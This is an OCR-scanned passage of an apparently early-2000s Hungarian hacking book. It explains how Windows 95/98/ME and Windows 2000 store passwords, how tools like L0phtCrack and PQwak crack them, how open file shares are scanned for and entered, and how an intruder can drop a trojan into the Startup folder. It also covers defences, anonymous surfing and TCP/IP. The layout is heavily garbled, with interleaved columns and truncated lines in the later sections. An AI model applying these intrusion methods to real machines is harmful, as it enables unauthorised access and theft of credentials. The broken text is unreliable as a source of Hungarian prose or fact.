Praktikus segítség a
felhasználóknak és a
betörőknek - az auto-
matikus kiegészítés

Az így tárolt információkat egy jelszófeltörő segítségével nagyon könnyű ki-

olvasni. Különösen veszélyes ez a telefonos kapcsolatnál, mert akár odáig ve-
zethet, hogy valaki, az adatokat kiolvasva, a felhasználó költéségén szörfözhet 2.2.2 A jelszófájlok
az interneten.
íme egy aktuális példa:
A Windows 95/98/ME PWL fájlokban tárolja a jelszavakat és a felhasználói
neveket. A PWL a PassWord Library rövidítése. Minden felhasználói profil tar-
2001. november 5. hétfő de. 10:30 talmaz egy saját PWL fájt, a fájlnév pedig a mindenkori felhasználó neve lesz.
Németország: Hackerek milliós csalása Példa: ha a Windowsba Jani néven jelentkezünk be, a PWL fájl nevejani.pwl
... Jelszavak ezreit törték fel
.
lesz. A Windows minden PWL-fájlt a Windows könyvtárban tárol, tehát a
c:\windows\ alatt.
A nyomozók hackerek nagy szabású csalásainak a nyomára bukkantak, A Windows 95/98/ME alatt minden program eléri a PWL fájlokat, hogy
akik mit sem sejtő PC-tulajdonosok költségére szörföztek az interneten. adatokat tudjon elhelyezni bennük, így tárolódnak például a meghajtók és a
Egy kb. 30 feltételezett tettesből álló kör több ezer számítógép-felhasználó nyomtatók hozzáférési jelszavai, a telefonos kapcsolat jelszavai és a Windows
jelszavát törte fel - számol be a Der Spiegel hírmagazin nemrégiben megje- bejelentkező nevek.
lent tudósítása.
A kódolt jelszó az első
A dortmundi és a münsteri államügyészség két nagy ügyében kerek két- pillantásra még
millió márkára becsüli a károkat. A mit sem sejtő felhasználók számlájára ártalmatlan
esetenként akár havi 20 ezer márkáért is interneteztek. A hackerek a jelsza-
vakat még az idevágó weboldalakon is nyilvánossá tehették - mondják.
Münsterben már 3600 nyomozási eljárás lezárult. Ezek az ügyek azonban
az államügyész adatai szerint már egy fél évvel ezelőttiek.
 A kódolás
A Microsoft a Windows 95 első verzióiban nem nagyon strapálta magát a
kódolás algoritmusával, ami viszonylag egyszerűvé tette a hackereknek ezek
megfejtését, illetve feltörését. A következő verziókban már olyan kódolási tech-
nikákat használtak, amelyeket ugyan továbbra is számos segédprogrammal fel
lehetett törni, mindez azonban már sokkal több időbe telt.
Egy PWL fájl tartalmaz egy header-t, valamint a fájl létrejöttének a dátumát,
továbbá úgynevezett rekordokat is tárol, amelyek a tulajdonképpeni jelszavakat
tartalmazzák.
A felhasználói névből és a jelszóból a Windows 9x egy 32 bit hosszúságii kódot
generál. Mindegy, hogy a jelszó hosszabb vagy rövidebb 32 bitnél, a kód min-
dig ilyen hosszú. Ezzel a kóddal és az RC4 algoritmus egy változatával kódolják
az adatokat a PWL fájlokban. Az RC4 egy szimmetrikus kódolási eljárás,
amelynél mindkét kommunikációs partner ugyanazt teszi - csak ellenkező
irányban. A feladó egy kulccsal kódolja az átvitelre szánt adatokat, a fogadó pe-
dig ugyanezzel a kóddal fejti meg az üzenetet. A szimmetrikus kódolás előnye
mindenekelőtt a kódolás nagy sebessége, és az, hogy az eljárást könnyű imple-
mentálni. Hátrányként jelenik meg a kódkicserélés problémája és a ráfordítás-
igényes kódnyilvántartás.
Sajnos ezt a kódot a megfelelő eszközzel másodpercek alatt fel lehet törni,
ehhez számtalan eszköz áll a hackerek rendelkezésére a hálón, ráadásul a trója-
iakba is gyakran integrálnak olyan programokat, amelyek lehetővé teszik a
célszámítógép valamennyi jelszavának azonnali kiolvasását.
Jelszófeltörők
Mint már említettük, a Windowshoz sok jelszófeltörő van, amelyek lehetővé
teszik a Windows jelszavak kikódolását, illetve kiolvasását. A nagyobb PWL
A számokból és betűk-
ből álló kombinációk a
jelszófeltőrőket is
megizzasztják
fájloknál azonban sok idő kell a jelszavak kiolvasásához. Ilyenkor a hackerek
gyakran lemezre menük a PWL fájlokat, amelyeket egy másik számítógépre
másolhatnak, hogy ott zavartalanul és időkorlát nélkül kikódolhassák.
Védelmi lehetőségek
Hogy a jelszófeltörő programoktól megvédhessük magunkat, a Windows
95/98/ME alatt lehetőség van a HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion \Policies\Network \DisabledPwdCaching = 1
Registry-kulcs létrehozására. Ez a kulcs megakadályozza a megadott jelszavak
tárolását, és ezzel lehetetlenné teszi a kiolvasásukat is.
Továbbra is ajánlatos azonban, főleg a Windows 95 felhasználóknak, a frissí-
tés egy erősebb kódoló algoritmusra. Ehhez az update-hez a http://support.
microsoft.com/support/kb/artícles/Q132/8/07.asp oldalon juthatunk hozzá.
Van egy program is, amely megakadályozza a jelszavak kiolvasását. A
PassSecure a Multimedia Network Systemstől meggátolja, hogy a jelszófeltörők el-
érjék a PWL fájlokat.
2.2.3 Jelszavak a Windows 2000 alatt
A Windows 2000 alatt egészen más a jelszavak kezelése, mint a Windows
95/98/ME alatt. A Windows 2000 automatikusan ellenőrzi a jelszavak bizton-
ságosságát, s automatikusan figyelmeztet az általános jelszóbiztonság elleni vét-
ségekre. A Windows 2000 ellenőrzi minden jelszó hosszát, a jelszavak rendsze-
res változtatását és a karakterek sokszínűségét. Ezeknek az adatoknak az alapján
a Windows 2000 ki tudja számítani a jelszavak biztonsági kockázatát, és szük-
ség esetén figyelmezteti a felhasználót.
A Windows valamennyi jelszót egy SAM (Security Account Manager)-
adatbázisban tárol, ez az adatbázis a Registry része.
Ha Windows 2000 alatt bejelentkezik egy felhasználó, az adatai a Security
Account Manager-hez továbbítódnak, s egyfajta „jogosultsági igazolványt" kap,
amelyben rögzítve vannak a hozzáférési jogai, és hogy melyik felhasználói cso-
porthoz tartozik.
A SAM azokat a felhasználói adatokat használja, amelyeket a winnt/
system32/config/sam fájl tárol. Ez a Windows jelszó mellett a hálózati jelszót is őrzi.
Ezt a fájlt nem lehet közvetlenül elérni, mivel a Windows állandóan használja.
 Időközben azonban számos Brute Force program is íródott, amelyek az NT
és a Windows 2000 alatt is lehetővé teszik jelszavak hackelését. Az egyik legis-
mertebb közülük a legendás LOphtCrack 2.5. Ez a program úgy kerüli ki a hoz-
záférési védelmet, hogy a háttérben egyfajta másolatot készít a SAM-fájlról.
LOphtCrack 2.5 - tolvajkulcs a Windows 2000 jelszavakhoz
A LOphtCrack kétféleképpen tud jelszavakat feltörni. Az első módszer a
dictionary cracking, amelynél gyakran használt jelszavak és karakterek listáját
használja, hogy kitalálja a jelszót. A második a brute force cracking, ahol minden
lehetséges szám és/vagy szókombinációt kipróbál. (A jelszófeltörés témáját a 7.
fejezet részletesen újratárgyalja.)
2.3 A távoli elérésű támadás - internet-
vagy hálózati felhasználók, vigyázat!
Egyet világosan kell látni: egy távolból jövő támadás egy Windows
95/98/ME rendszer ellen, szabvány konfigurációban, egyedüli PC-ként és tró-
jai nélkül, valóban nehéz. Azonban a strandard konfigurációt gyakran meg kell
változtatni, például a rendszer hálózatra csatlakoztatása miatt. Az adathordo-
zók minden védelem nélküli megosztása vagy a slamposan megadott jelszavak
gyakran szélesre tárják a kaput a betolakodók előtt. Ebből a fejezetből kiderül,
hogyan lehet felderíteni az ilyen megosztott erőforrásokat.
Ráadásul az ISDN, az xDSL és a flatrate-ek korában, amikor a felhasználók
rendszerei gyakran folyamatosan kapcsolódnak az internethez, elég idejük van
a hackereknek arra, hogy a cél érdekében számtalan támadási módot kipróbál-
janak, így például a rendszer különböző réseinek a szkennelését.
2.3.1 A fájl- és nyomtatómegosztás -
veszélyes biztonsági rések
A fájl- és nyomtatómegosztást tulajdonképpen arra használják, hogy lehető-
vé tegyék a felhasználóknak a mappák vagy az adathordozók elérését a hálóza-
ton. Mióta egyre több felhasználó épít ki otthon is kis hálózatocskát, hogy to-
vábbra is használni tudja a régi PC-jét, vagy hogy időnként csatlakoztatni tud-
jon egy notebookot, a megosztás a magánemberek számára is a biztonságot
meghatározó témává vált.
Itt egy kockázati tényező rejtőzik, amelyet nem veszünk észre
E szolgáltatások felhasználói általában nincsenek tisztában azzal, hogy mi-
lyen veszélyeknek teszik ki az adataikat az internethez kapcsolódással. A kár,
amelyet a hackerek okoznak, főleg attól függ, hogy milyen megosztásokat hasz-
nál a felhasználó. A könyvhöz végzett kutatások során valóban találtunk olyan
rendszereket, amelyeknek a felhasználói minden meghajtót megosztottak,
méghozzá minden jelszóvédelem nélkül. Az ilyen esetek természetesen durva
gondatlanságról tanúskodnak, ugyanakkor újra bebizonyítják, hogy mennyire
könnyelműen mozognak egyesek a hálón.
 2.3.2 Mik azok a szkennerek, és hogyan működnek? Csak a számítógépről szállít információkat, és semmilyen támadóeszköze
nincs, ami azt jelenti, hogy a jelszófeltöréshez egy másik eszközt, például a
A megosztások felkutatása szkennerprogramokkal történik. Az egyik legis- Légiont kell használni.
mertebb ilyen a Légion, a Rhino9 szerzeménye. A Légion minden megosztást
szkennel a számítógépen, majd grafikusan megjeleníti ezeket. Sajnos, a Légion Név URL Operációs rendszer
nagyon megbízhatatlan, és nem mindig találja meg azonnal a megosztott erő- Auto NetBIOS Hacker www.hackerzbook.de Windows 9x/NT/2000
forrásokat, ami több szkennelést tesz szükségessé. Légion www.hackerzbook.de Windows 9x/NT/2000, UNIX/Linux
A megosztások felkuta- NAT www.hackerzbook.de Windows 9x/NT, UNIX/Linux
tásához elegendő a szá- SharesFinder www.hackerzbook.de Windows 9x/NT/2000
mítógép IP-területe
Programok a megosztások felkutatásához

Hozzáférés a szabad erőforrásokhoz

A talált megosztott erőforrások elérése a következők szerint történik: a tá-
madó egyszerűen beírja a talált IP-címet a Windows Intézőbe, például
\\217.3.161.59. A következő ábra a megosztott C: merevlemez tartalmát mu-
tatja egy, a hálózaton keresztül elért számítógépen. Nem nehéz felismerni a le-
hetséges kockázatokat és károkat.
Kapcsolódás
egy másik
számítógéphez,
fájlmegosztással
Egy másik a Lan Guard Network Scanner. Az előnyei a Légionnal szemben a
nagy megbízhatóság és a nagyon gyors szkennelés.

A szkennelés eredménye

A DOS alatt a NET USE paranccsal is lehet kapcsolatot teremteni.

 Így lehet DOS alól elér-
ni a másik számítógé-
pet
2.3.3 Milyen lehetőségeik vannak a betolakodóknak?
A megosztott mappát vagy meghajtófájlokat a megosztás módja szerint lehet
elérni.
Annak megfelelően, hogy milyen hozzáférési módokat adtak meg, a betola-
kodó másolhat, feltölthet, vagy a kedve szerint törölhet, ahogy neki tetszik. Egy
különösen kedvelt támadási mód egy trójai vírust elhelyezni a
C:\WINDOWS\STARTMENÜ\PROGRAMOK\INDÍTÓPULT könyvtárban.
Ezzel elérhető, hogy a trójai szerver része (közelebbit lásd a trójaiakról szóló fe-
jezetben) a következő bootolás után telepítődjön, a fájl törlődjön, és a szerver el-
induljon. Ezt a beavatkozást esetleg észreveszik, de hogy a felhasználó egy trójai
becsempészésére fog-e gyanakodni, ha kap egy hibajelzést, az bizony kérdéses.
Egy példa arra, hogy
mi mindent tudnak
megváltoztatni, törölni,
vagy manipulálni a be-
hatolók
2.3.4 Jelszóval védett megosztások
A megosztott erőforrásokat természetesen jelszóval lehet védeni. Ezzel
megvalósíthatjuk, hogy senki se férjen hozzájuk jogosulatlanul a hálózatról
vagy az internetről.
A legegyszerűbb
védelem: jelszavak
az erőforrásokhoz
Persze ez a védelem a szimpla jelszavak esetén meglehetősen sovány, amit
némi tudással vagy megfelelő programmal könnyen ki lehet kerülni. Az is köz-
tudott, hogy a felhasználók kényelemszeretetből gyakran könnyen megjegyez-
hető jelszavakat adnak meg.
Az első, amit egy hacker programok segítsége nélkül is megtenne, a sziszte-
matikus találgatás, ami a helyi hálózaton, ahol megvan a lehetősége, hogy a fel-
használót személyesen is ismeri, rendkívül hatékony is lehet. Kezdhetné azzal,
hogy végiggondolja a felhasználó minden ismert személyes adatát, és ezeket
jelszóként végigpróbálgatja, pl. vezetékneveket, keresztneveket, barátnő, kutya
nevét, születési adatokat...
De vannak gyakran használt szabvány jelszavak is, mint például gast, admin,
administrator, boss, jelszó, hónapnevek vagy teszt, hogy csak néhányat említsünk a
számtalan, gyakran hebehurgyán felhasznált jelszó közül.
Nehéz jelszavaknál ez természetesen meglehetősen értelmetlen vállalkozás,
amit valamikor a potenciális hacker is fel fog adni, és több sikerrel kecsegtető
módszerek után néz. Ilyen lehet például egy program, amely Brute Force-ro-
hamot intéz a NetBIOS jelszó ellen.
2.3.5 Brute Porce-rohamok
a megosztási jelszavak ellen
A legjobb és legismertebb ilyen programok egyike a PQwak, Shane Hird
műhelyéből Ez az eszköz többek között a Windows 95/98 alatti fájlmegosztás
egy implementációs hibáját használja ki.
 Előkészület a célzott tá-
madásra
A PQwaknak egyszerűen meg kell adni annak a számítógépnek az IP-jét,
amelynek a jelszavait fel kell törnie. A PQwak minden karaktert és különleges ka-
raktert felismer, így azután a legrövidebb idő alatt szinte minden jelszót fel lehet
vele törni. A PQwak l .0-s verziója nincs túl gondosan programozva, sok különle-
ges karakter hiányzik, és aki sikert akar elérni, annak gyakran kell újraindítania.
2.3.6 Óvintézkedések
A legegyszerűbb, amit tehetünk, ha védekezni akarunk az ilyen támadások el-
len: a fájl- és nyomtatómegosztás megszüntetése a hálózati környezet beállításainál.
Továbbá minden szükségtelen protokollt, köztük a NetBIOS-t is távolítsuk el.
Aránylag kényelmetlen,
de veszélytelen - meg-
szüntetjük a megosztá-
sokat
Ez a megoldás azonban sok felhasználó számára szóba sem jöhet, mivel rá
vannak utalva a megosztott erőforrások használatára. Tulajdonképpen csak
erős jelszavak jöhetnek számításba, amelyek védik az erőforrásokat. Itt újból bi-
zonyítást nyer az alfanumerikus kombinációk erőssége.
Szerverkörnyezetekben a rendszeradminisztrátor beállíthatja a jelszavak
erősségét és futási idejét. Ez ugyan nem kínál százszázalékos védelmet, de je-
lentősen megnehezíti a betörést, és kiindulhatunk abból, hogy egy bizonyos
idő múlva a még oly türelmes hacker is feladja.
2.4 További támadási technikák
A bemutatott biztonsági réseken kívül, amelyek az operációs rendszer fel-
építésében gyökereznek, természetesen vannak még más támadási lehetőségek
is, amelyeket most csak bemutatunk.
Trójaiak - betörés a hátsó ajtón keresztül
Nagyon elterjedtek a támadások a hátsó ajtók, illetve a Remote Controll
programok, ismertebb nevükön a trójaiak segítségével, amelyek külön fejezetet
kaptak a könyvben (lásd 4. fejezet), és amelyekre most csak röviden szeretnénk
kitérni.
A trójaiak a felépítésüknél fogva kitűnően alkalmasak arra, hogy jelszavakat
kémleljenek ki, manipulálják a Registry-t, eljárásokat indítsanak vagy fejezzenek
be, adatokat másoljanak, illetve töröljenek, és megosztásokat hozzanak létre.
Ezeknek a programoknak a problematikája az egyszerűségükben rejlik, ami
azt jelenti, hogy a bonyolult támadásokkal ellentétben, itt semmiféle háttértu-
dás megszerzésével nem kell foglalkozni.
Ez különösen a „szabadidős hackereknek" nyújt lehetőséget arra, hogy telje-
sen az uralmuk alá hajtsanak rendszereket. Az ilyen programok felhasználói rit-
kán gondolkodnak el cselekedetük következményeiről, és ennek megfelelő ag-
resszivitással támadnak áldozataik rendszereire.
A felhasználók magatartása különösen a médiák felvilágosító tevékenysége
nyomán az utóbbi években erősen megváltozott, és egyre gyakrabban figyelnek
oda arra, hogy ne nyissák meg gondatlanul a mail-ékhez csatolt fájlokat. Mind
gyakrabban használnak tűzfalakat, amelyek megakadályozzák a trójai szerver
kapcsolódását a klienshez. Egyre jobban elterjednek a trójai-, illetve víruskere-
ső programok is, amelyek képesek észlelni és eltávolítani a szerveralkalmazáso-
kat a rendszerben, illetve megfelelő figyelmeztetésekkel megakadályozni a tele-
pítésüket.
De még mindig elég sok felhasználó van, akikben nem tudatosultak ezek a
veszélyek, és fütyülve minden figyelmeztetésre, ismeretlen és komolytalan for-
rásból származó fájlokat nyitnak meg. A gyakorlatból ismerünk olyan eseteket,
mikor már régóta ismert trójaiak, mint a Sub7 vagy a BackOrifice (pontosabbat
ezekről a programokról a trójaiakról szóló fejezetben) települtek olyan számí-
tógépekre, amelyek vállalati hálózatokban működtek. Ez a magatartás durván
felelőtlen, de a rendszergazdák valószínűleg csak a káresetekből fognak tanulni.
A védekezés és a felismerés lehetőségeivel ugyancsak a trójaiakról szóló fejezet-
ben foglalkozunk.
3. fejezet - Tartalom

3.1 Az anonim internetezés csökkenti a kockázatot ..................................

3.1.1 A legtöbb felhasználó sokat elárul3.1.2 ...................................... Névtelenül

3.2. A TCP/IP
3.2.1 Mi a TCP/IP?
3.2.2 Különböző protokollok a rétegekben
3.3 Néhány alkalmazás és protokoll használata és a biztonságosságuk .
3.3.1 A Telnet
3.3.2 Az FTP
3.3.3. Az IRC
3.3.4 Az IP-címzés

3.4 A portokról

ok
e többet megtudni a hackerek tevékenységéről, stratégiáiról és
őségeiről, annak az internet alapjaival is közelebbi ismeretségbe
Különben bizonyos támadási lehetőségek aligha követhetőek. Ez
den bemutatja a legfontosabb információkat, amelyek a „hacker
és egyben a védekezés alapismeretei közé is tartoznak. Így némi
erhető a technikákba is, amelyek lehetővé tesznek bizonyos tá-
kat. Aki csak általában akar a hackerek tevékenységéről tájéko-
zt a fejezetet természetesen nem kell elolvasnia. Így viszont sok
emenően érthetetlen marad.
anonim internetezés csökkenti a
ckázatot
et az anonim szörfözésnek szenteltük. Ezzel akkor kell foglalkoz-
dünk a háló kémlelésének.
szörfözés célja, hogy megakadályozzuk saját IP-címünk átadását
jobb megértés kedvéért képzeljük el egyszer az IP-címet a követ-
ggésben: egy potencionális betörőnek - mert egy hacker nem je-
C-nk szempontjából - tudnia kell a pontos címet. Csak ezután
á, hogy kiderítse a lakásunk, illetve a házunk gyenge pontjait. E
mmi sem történhet, de amint ez ismertté válik, igen jó rálátás kí-
etkörülményeinkre és a szokásainkra.
nagyon pontos címzés, egy emelettel és lakásszámmal együtt
tacímhez hasonlít. Csak ennek az adatnak az ismeretében válik a
aablak - a PC-nk nyitott portjához hasonlóan - kockázattá.
suk a legfontosabbakat a névtelen szörfözésről - hiszen a névjegy-
m osztogatjuk mindenütt. Ennek a fejezetnek az első része azt is
milyen információkat kaphatnak rólunk mások, ha „normál" mó-
don szörfözünk a neten. Hogy ezeknek a részleteknek a nyilvános
hogyan akadályozhatjuk meg, arról természetesen szintén itt olvas
3.1.1 A legtöbb felhasználó sokat elárul
Egy szituáció, amelyben öntudatlanul is feladjuk az anonimit
valószínűleg a legkevésbé tűnt fel. A kis web-bugokról van szó,
GIF-ekről. Mindkettő hasonlít a talán már ismert cookie-khoz. A
parányi GIF-képecske (egy pixel méretű), amely valahol a webo
tegrálva, és a nézőnek egyáltalán nem tűnik fel, mivel egészen k
átadja egy szervernek az IP-címet, a felkeresett oldal URL-jét, a
ek URL-jét, az időpontot, amikor a web-bugot megnézték, a b
valamint egy korábban elhelyezett cookie információit. Ha egy o
tartalmaz ilyen „bogárkát", személyes adatokat adunk meg, akkor
ID-vel együtt lehet tárolni, és gyakorlatilag úgy működik, min
csak ebből semmit nem lehet észrevenni, és kikapcsolni sem lehet
Tehát a legfontosabb, amit az anonim szörfözésnél el kell titk
tuális IP-cím, amelyet minden számítógép az internetre lépéskor k
Az interneten megtett utat, amint az a lenti példából is lá
könnyen követni lehet az IP-címek segítségével. Mindenhol h
nyomokat, amelyek alapján hackerek figyelhetnek fel ránk, és ez
gük lesz pontosan kideríteni az identitásunkat, és esetleg károkat
nekünk.
Az IP-cim minden alkalommal átmegy az adatokkal együtt, a m
IRC, ICQ vendégkönyvekben és a nyílt fórumokon.
A „normál" és az anonim szörfözés közötti kü
http://privacy.net/anonymizer oldal teszi világossá.
 Információk az
Anonymizernél
Talán már a fentiekből is világossá válhat, hogy mégiscsak m
valamennyire az anonimitást az internetes szörfözéskor. Hogy
Úgy az IP, mint a teljes útvonal
hetséges, azt mindjárt kiderül.
is felismerhető, amelyet a
számítógép egy oldalhoz
választott. Ha ezt az oldalt most
egy anonymizeren keresztül
3.1.2 Névtelenül
keressük fel, csak annak a
A cél tehát az, hogy titkosítsuk a saját IP-címünket, egy mási
weboldalak az információi kerülnek
milyet se mutassunk, és lehetőség szerint minden egyéb adatunka
ki, amelyről erre az oldalra
Egy előzetes megjegyzés: a saját IP-címünk egy internet-sz
mentünk.
resztül történő szörfözéskor rendszerint dinamikus, tehát a szolg
Az IP-cím és az útvonal mellett
újabb betárcsázáskor egy új, másik IP-t oszt ki - de természetesen
előfordulhat, hogy a következő
újból olvasni, mint minden más, fent nevezett információt. Azon
adatok mindegyike, vagy
tőség is van arra, hogy védekezzünk. Íme, néhány ezek közül:
legalábbis néhány közülük
hatóvá válik idegenek számára: s A legegyszerűbb, ahogy az előbb már említettük, az Anon
használata, például a http://anonsurf.de vagy a klassziku
ez tartozó domain név.
anonymizer.com. Az ilyen oldalak működési módja: az
l URL-je, amelyről az oldal linkjére kattintottunk (HTTP- proxy-szerver többé-kevésbé szűri.
Egy másik egyszerű módszer egy anonim proxy-szerveren
idítés a használt webböngészőhöz, például Mozilla/4.7 [en] (X11; figurálni a saját böngészőnk kapcsolatát. Ehhez egy kis m
2.2.12 i686) a Netscape-hez (angol verzió). Ebből a rövidítésből proxyk, hardverként vagy szoftverként, a kliens és a hos
g az is kiderül, hogy milyen operációs rendszer melyik verzióját vannak kapcsolva, és a hostnak a proxy IP-t, és nem a din
uk, itt például Linux 2.2.12-t egy Intel PC-n. IP-t mutatják. A kliens tehát össze van kötve a hosttal, a ho
„hiszi" (az IP alapján), hogy csak (!) a proxy-szerverrel van
gésző az e-mail-címeket és/vagy a login neveket is továbbítja,
ben. Tehát a proxy képviseli a számítógépünket. Hogy mo
ben a böngésző ismeri ezeket (az e-mail-címet a böngésző jelszó
konfiguráljuk a böngészőnket, csak a szerver címét és a por
tadhatja egy anonim FTP-szerverhez való hozzáféréshez, vagy
gésző Internet-beállításainál (legjobb, ha minden protokoll
talmakon keresztül, mint a JavaScript és hasonlók).
Az aktuális proxy-szerverekről és csatlakozásaikról a
(ezek egy táblát akasztanak ránk, hogy: „Megint itt vagyok!") cyberarmy.com/lists/proxy/ címen találunk listát. Vanna
keresőgépek is és hasonlók.
az interneten, és az ott tartózkodás ideje.
Magunk is beszerezhetünk egy proxy-programot vagy egy
ul a http://proxys4all.cgi.net címről. Mostanában a Junkb
jött divatba (közelebbi információk a www.junkbister.co
kezdőknek kicsit nehezebb ennek a szoftvernek a telepíté
szont kedvezőbbek a lehetőségek, mert egyéni igények szer
ható. Így például le tudja nyomni a weboldalakon található
 i eszköz a jelenleg csak kevesek számára elérhető Mix-System,
állomásból áll, s ezekről üzeneteket küldenek. A koncepciót
um eredetileg e-mail küldéshez fejlesztette, azonban más háló
sokra is átvihető. Minden Mix gyűjti a bejövő üzeneteket, szét
és egy bizonyos idő után továbbküldi. Így nem lehet összefüg
teni a bejövő és a kimenő üzenetek között. Ha csak egyeden
gbízhatóan működik, az egész rendszer megbízható, vagyis a
anonim marad. A kommunikáció a Mixen belül kódolt, és így
sem lehet. A Mix hátránya, hogy nagy hálózati terheltséget
Mixek még nem állnak nyilvánosan rendelkezésre, csak egyes
teket lehet találni.
ő eszköz, amely az anonimitásról gondoskodhat, a Webwasher.
er Windows 95/98/NT/2000-hez és a Macintosh-hoz is meg
ősorban arra szolgál, hogy kiszűrje a weboldalakról a
nereket, az animált képeket és a pop-up menüket. Mindez a
ra védelmét szolgálja, mert megakadályozza az olvasó „zavará
mtalan reklámbannerrel. A mi szempontunkból azonban inkább
onságai érdekesek: a Webwasherrel megakadályozható a
erer küldése, azé az URL-é, amelyről az oldalra kattintottak.
megadhatunk egy URL-listát, amelyet minden esetben ki kell
y át kell engedni. A Webwasher, user agentként, a valóban a
sző által elküldött sztringeket küldi el. Alapértelmezésként ez
st kap, hogy a Webwashert használja, ezt azonban lekapcsol
Webwasher magáncélra ingyenes, és megtalálható a
w.webwasher.de címen.
akiknek egy kicsit több idejük van és Linux-pártiak, a
program lehet érdekes. A WWWoffle Unix/Linux rendszerek
s NT alatt fut. Létezik ugyan egy verziója Windows 95-höz is,
n nem működik hibátlanul. Ez a proxy elsősorban cache-elő
verként működik, és lehetővé teszi, hogy hálózati kapcsolat
ssen navigálni ebben a cache-ben. Az oldalakat, amelyekre rá
de még nincsenek a cache-ben, feljegyzi egy listára, majd az
emre váltáskor kérésre automatikusan betölti. A cache-
n különböző kritériumok szerint közlekedhetünk, kilistáztat-
ául az összes, vagy a legutóbbi kapcsolódás során meglátoga
esetleg minden oldalt, amelyeket a következő online kapcso-
latnál fog betölteni és hasonlókat. A cache-tartalmon belüli k
egészítésképpen saját keresőgépet is lehet telepíteni. Termés
konfigurálható, hogy mi kerüljön a cache-be. A programot
szőből lehet kezelni, beleértve az online és az offline módok
tást is. A mi szempontunkból a WWWoffle főleg azért lehet
a Junkbusterhez hasonlóan, itt is célzottan lehet definiá
headert. Pontosan megadhatjuk, hogy milyen fajta webdoku
milyen HTML-kódba integrált scriptek megengedettek. E
letilthatjuk a frame-ek vagy a képek letöltését, vagy kiköthe
volítsa el a HTML-kódból a Java- vagy a JavaScript-
WWWoffle-t FTP-proxyként is lehet használni, ilyenkor po
adhatjuk, hogy milyen felhasználói névvel jelentkezzen be
FTP-szerverre, és nem kell ezt a véletlenre vagy a webböngé
tett alapértelmezésre bízni.
• A proxy-knál még egy fontos szempontra kell ügyelni, amiről
sen megfeledkeznek. A JavaScript utólag mégis áthúzhatja a
kat. Még ha valóban anonim proxykat is használunk, egy w
ködtetője egy JavaScripten keresztül továbbra is le tudja kér
címeket. Sajnos a JavaScript funkciókat minden böngészőnél
lehet célzottan inaktiválni, ezért ennek a leírásáról itt lemon
• Egy további kis anonimitási rés csak az Internet Explorer felhasz
nyes: ezek az Active Channelek. Ez a technológia először
Internet Explorer 4.0-s verzióban jelent meg. Hogy meghat
mációkhoz juthassunk, a böngészőben általában külső URL-
tintani vagy be kell gépelni ezeket. Az Active Channelekkel ki
egyet egy webszerver-üzemeltető ajánlatából (kezdőlap), amel
vagy az internetre kapcsolódás indításakor betöltődik (tehát b
vagy állandó kapcsolat esetén a számítógép indításakor). Az eg
tő veszély itt is az, hogy a csatorna előfizetője már nem anoni
tokat egy szerverről, hanem minden elérésnél újból felismerhet
érdeklődési köre a kiválasztott channel(ek) alapján meghat
Active Channel technológia a már említett cookie-k szemé
használja. Tehát: ha nincs rá feltétlenül szükségünk, inkább kapcso
• Ha egy hacker valami nagyobbat tervez, akkor beszerez mag
shell-accountot, és ezek után minden jogosultságot tesztel
Sok szolgáltató kínál ingyenes shell-account-okat (ezek azonb
 , vagy vannak hackeroldalak, amelyeken frissen feltört account-
in-ek vannak, amelyeket használni lehet.
ackerek többnyire olyan rendszereket használnak platformként
dszerek megtámadásához, amelyeket már a hatalmukban tartanak,
mális (legális) szörfözéshez az említett lehetőségek is teljesen ele-
n valaki, a fenti tanácsokat megfogadva, elrejtette az IP-címét,
rogram csak a proxy-szerverről gyűjthet „személyre szabott" in-
mivel nekünk, felhasználóknak, nem sokat árthat.
CP/IP
akaszban néhány protokollt szeretnénk megismertetni, amelyeket
álnak. A legfontosabbak közé tartozik a Transmission Control
és az Internet Protocol (IP).
vetkező részben a protokolloknak azok a funkciói szerepelnek,
lözhetetlenek a későbbi célokhoz, így ennek a könyvnek a hasz-
tt közölt tudás tökéletesen elegendő. Sajnos a téma olyan komp-
es kifejtése messze meghaladná e könyvnek a kereteit.
a TCP/IP?
két hálózati protokoll neve, amelyeket az interneten és a modern
használnak:
sion Control Protocol (TCP) és Internet Protocol (IP).
az IP azonban csak két protokoll-fajta a TCP/IP protokoll-csa-
rotokoll-család a háló minden szolgáltatását elvégzi, ide tartozik
ldése, az adatok átvitele, hozzáférés a World Wide Webhez és az
tása a usenet-en keresztül.
Hogyan működnek a protokollok?
A két protokoll, a protokollok egymásra rétegződésén, „hal
stack) keresztül működik. A protocol stack az az út, amelyet az a
kell tenniük ahhoz, hogy az egyik számítógépből a másikba jussa
amelynek a rétegei közül a TCP/IP csak kettőt, nevezetesen a 3
használja, a következőképppen van felosztva:
Réteg Leírás
Alkalmazási réteg Az alkalmazási réteg képezi a csatolófelületet az alk
között, amelyekkel a felhasználó parancsokat küld illetve fogad egy hálózato
Megjelenítő réteg A megjelenítő rétegben a másik számítógép rendsz
felhasználás-specifikus formattálások történnek. Session réteg Ez
gondoskodik arról, hogy az alkalmazások között megszakadt kapcsolatok
felálljanak és - az adatvesztés megakadályozása miatt - részben ugyan
helyen is folytatódjanak. Transzport réteg Ez a réteg gondoskodik a
adatátvitelről a két számítógép között, és gyakran csatolófelületként is szolgá
alkalmazási rétegek és az alá rendelt hálózati rétegek között. Hálózati/
Ebben a rétegben folyik az optimális út (routing) keresése az kapcsolati ré
adatátvitelhez. A protokollt itt már a fölé rendelt rétegektől függetlenül ki leh
(pl.: IP). Adatbiztonsági réteg Ez a réteg arról gondoskodik, hogy lehetőle
hibás átvitelek, és ha mégis lennének, akkor az adatok helyre legyenek állít
réteg Ez a réteg felelős a fizikai kapcsolat létrehozásáért az adato
illetve küldésekor.
A TCP IP-protokollhalom rétegei az OSI-modell szerint
Az adatok a számítógépből kifelé tartva az ábrázolt sorrendb
resztül ezeken a rétegeken, és fordított sorrendben mennek bef
szerbe. Minden réteg tud adatokat küldeni a szomszédos rét
adatokat fogadni attól. Valamennyi réteg protokollokkal van öss
lyek különböző szolgáltatásokat nyújtanak.
 önböző protokollok a rétegekben
lán valamivel érthetőbb, hogyan történik a protokollhalmon ke-
ok küldése, illetve fogadása. Most megnézzük egy kicsit köze-
böző rétegek legfontosabb protokolljait.
si réteg
g, amelyben a felhasználó közvetlenül egy alkalmazásba írhatja
t, hogy kapcsolatot nyisson egy számítógéppel, vagy megfelelő
jon ki. Fordított értelemben tehát az alkalmazási réteg az a réteg
gy alkalmazás az A számítógépen a B számítógéptől is megkap-
ait. Ebben a rétegben egész sereg protokoll van, és ezeket felül-
árolja semmi. Bizonyos alkalmazások itt más alkalmazásokra is
